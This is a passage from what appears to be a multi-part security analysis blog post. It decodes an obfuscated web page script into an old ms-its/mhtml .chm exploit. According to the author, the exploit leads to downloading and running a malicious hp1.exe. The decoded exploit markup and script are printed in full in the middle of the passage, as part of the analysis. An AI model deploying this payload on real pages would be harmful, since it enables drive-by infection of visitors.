\u002c\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0068\u0072
\u0065\u0066\u002e\u0069\u006e\u0064\u0065\u0078\u004f\u0066\u0028\u0027
\u0068\u0070\u0031\u002e\u0068\u0074\u006d\u0027\u0029\u0029\u0029\u0029
\u003b\u000d\u000a\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e
\u000d\u000a\u000d\u000a')[/script]
Once again, this isn’t difficult to decode, and results in:
<textarea id="code" style="display:none;">
[object data="ms-its:mhtml:file://C:\foo.mht!${PATH}/HP1.CHM::/hp1.htm"\
type="text/x-scriptlet"][/object]
</textarea>
[script language="javascript"]
document.write(code.value.replace(/\${PATH}/g,location.href.substring\
(0,location.href.indexOf('hp1.htm'))));
[/script]
Another .chm exploit that will eventually result in the download and execution of a file called hp1.exe.
Here we go again... and trust me, hp1.exe is a real piece of work.
Stay tuned for Part III...
Note: When I first started writing this up, I was completely unaware of how deeply down the rabbit hole it would take me. I honestly believed that it would only be a fairly long diary entry... then two fairly long diary entries... and now it is obvious that we’re heading into three parts at the very least. I’ll try to get Part III (and any other remaining posts) up more quickly.
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